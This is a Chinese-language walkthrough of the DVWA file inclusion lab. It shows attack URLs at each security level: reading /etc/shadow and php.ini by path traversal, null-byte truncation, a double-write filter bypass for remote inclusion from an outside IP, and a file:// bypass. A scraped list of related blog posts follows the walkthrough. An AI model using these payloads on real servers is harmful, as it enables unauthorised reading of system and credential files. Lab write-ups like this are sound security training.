文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。

分类:

(1)本地文件包含

(2)远程文件包含:因为开启了PHP配置中的allow_url_fopen选项,服务器允许包含一个远程文件。

一、low

看下服务器端核心代码:page为做任何过滤。

图中 file1.php、file2.php、file3.php 是服务器希望用户点击,服务器包含相应的文件,返回结果。服务器包含文件时无论文件后缀是否是php,均当做php文件来执行。当文件内容为php,返回正常执行结果;当文件内容不是php,则原封不动打印文件内容。

点击file1.php。

1、本地文件包含

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=/etc/shaow ,其中/etc/shaow为linux的系统路径。

报错。故服务器系统不是Linux。且文件的绝对路径为D:\PhPstudy\phpstudy_pro\WWW\DVWA\vulnerabilities\fi\index.php

构造url(绝对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini,成功读取了服务器的php.ini文件。

或者构造url(相对路径):http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

“..\”代表上一层目录,“.\”代表下一层目录。

若page参数要求为php后缀或者其他,在php版本小于5.3.4,时,可以用%00截断。如: http://127.0.0.1/DVWA/vulnerabilities/fi/?page=..\..\..\..\..\..\..\..\..\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini%00csg.php 。

1、远程文件包含

当服务器的php配置中,allow_url_fopen和allow_url_include打开时,服务器会允许包含远程服务器上的文件。在远程服务器上上传一个phpinfo.txt文件。由于本人租不起服务器,故将其放在自己电脑上。

构造url:http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop/phpinfo.txt

为了增加隐蔽性,可以百度一个在线编码工具,对url进行编码:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C%3A%5CUsers%5CASUS%5CDesktop%2Fphpinfo.txt

同样可成功执行。

二、medium

看下服务器端核心代码:str_replace()函数对“http://”、“https://”、“../”、“..\”都进行了过滤删除。

但str_replace()可以用双写绕过。且规则里绕过“../”、“..\”,则用绝对路径的方式包含文件不受此规则限制。(本文由于phpinfo.txt文件在本地,无http://或https://,故为http://127.0.0.1/DVWA/vulnerabilities/fi/?page=C:\Users\ASUS\Desktop\phpinfo.txt)

若将phpinfo.txt上传到服务器(比如192.168.125.12),则构造下面的链接即可:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=hhttp://ttp://192.168.125.12/phpinfo.txt

三、high

看下核心源码:这里使用fnmatch()函数对page参数进行过滤,要求page必须以“file”开头,服务器才会包含相应的文件。

file协议:本地文件传输协议)主要用于访问本地计算机中的文件。基本格式为:file:///文件路径。

故利用file协议,构造url:

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\PhPstudy\phpstudy_pro\WWW\DVWA\php.ini

读取服务器配置文件成功。

四、impossible

看下核心源码:这里使用白名单。page参数必须为:include.php 、 file1.php 、 file2.php 、 file3.php 。杜绝了文件包含漏洞。

DVWA-文件包含漏洞相关推荐

  1. DVWA文件包含漏洞

    文章目录 low medium high impossible 文件上传+包含漏洞getshell 云演-phar实验 low 1.本地文件包含: 看看后端代码 <?php// The page ...

  2. Web漏洞之文件包含漏洞

    公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一.文件包含漏洞概述 1.漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件 ...

  3. 文件包含漏洞——DVWA练习

    前言:在学习文件上传时,制作的图片马需要我们手动去解析,而解析的方法就算用到了文件包含漏洞,所以这次就来学习一下文件包含漏洞. 文件包含漏洞简介 (一)文件包含可以分为本地文件包含和远程文件包含两种. ...

  4. 结合pikachu和DVWA靶场学习文件包含漏洞

    结合pikachu和DVWA靶场学习文件包含漏洞 基本概念 包含的定义 文件包含的定义 相关函数 条件 分类 本地文件包含(Local File Inclusion,简称LFI) 定义 前提: 示例: ...

  5. DVWA之PHP文件包含漏洞(File Inclusion)

    PHP文件包含漏洞,简单地说,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码.更多 ...

  6. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  7. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  8. 文件包含漏洞及简单绕过

    文件包含漏洞 文章目录 文件包含漏洞 DVWA靶场对文件包含漏洞的解释 About Objective 漏洞发生原因 防御与绕过 DVWA File inclusion medium 绝对目录绕过 双 ...

  9. pikachu File Inclusion 文件包含漏洞 (皮卡丘漏洞平台通关系列)

    目录 一.来自官方的简介 二.来自小可爱的通关步骤 第一关  File Inclusion(local) 1.读取"隐藏"文件 2.读取系统文件 3.结合文件上传getshell ...

  10. 文件包含漏洞(原理及介绍)

    文件包含漏洞(原理及介绍) File inclusion,文件包含(漏洞).程序开发人员通常出于灵活性的考虑,会将被包含的文件设置成变量,然后动态调用这些文件.但正是因为调用的灵活性导致用户可能调用一 ...

最新文章

  1. html中列表的嵌套
  2. 分享20个非常有用的Web开发工具和框架
  3. 【大数据】企业级大数据技术体系概述
  4. Tensorflow2.x.x最基础的神经网络(ANN)
  5. python管道安装包_Python 炫技操作:安装包的八种方法
  6. [NewLife.Net]单机400万长连接压力测试
  7. [ARC074C] RGB Sequence(dp)
  8. 关于mysql的教学文章_数据库课程教学方法探索论文
  9. Codeforces976E Well played! 【贪心】
  10. mini2440_x35 ubuntu下使用dnw进行传送文件
  11. 继去年“技惊四座”之后,腾讯TPG图片格式在应用领域有了新进展
  12. 用python进行wifi密码生成
  13. Flask框架-模板
  14. 使用matplotlib画色斑图
  15. vue-elementui制作表格(二)
  16. winform backgroundWorker 用法
  17. Android中的SQLite数据库
  18. Module Error (from ./node_modules/vue-loader/lib/loaders/templateLoader.js):(Emitted value instead o
  19. PHP八字强弱计算,八字强弱自动计算,在线测试生辰八字强弱
  20. 国内外知名的IT社区

热门文章

  1. 9.界面设计师键盘操作
  2. 天猫也推分期购 网购“赊账”有新去处
  3. (数据结构)树和二叉树相关知识点
  4. 开源视频播放器Video.js介绍
  5. 『Android春招实习攻略』2022年中总结
  6. lammps案例:原子倒入容器
  7. Learning to Communicate with Deep Multi-Agent Reinforcement Learning
  8. 如何优雅的调用接口?
  9. 【NodeJS笔记】三分钟快速入门NodeJS
  10. STM32应用霍尔转速传感器基于输入捕获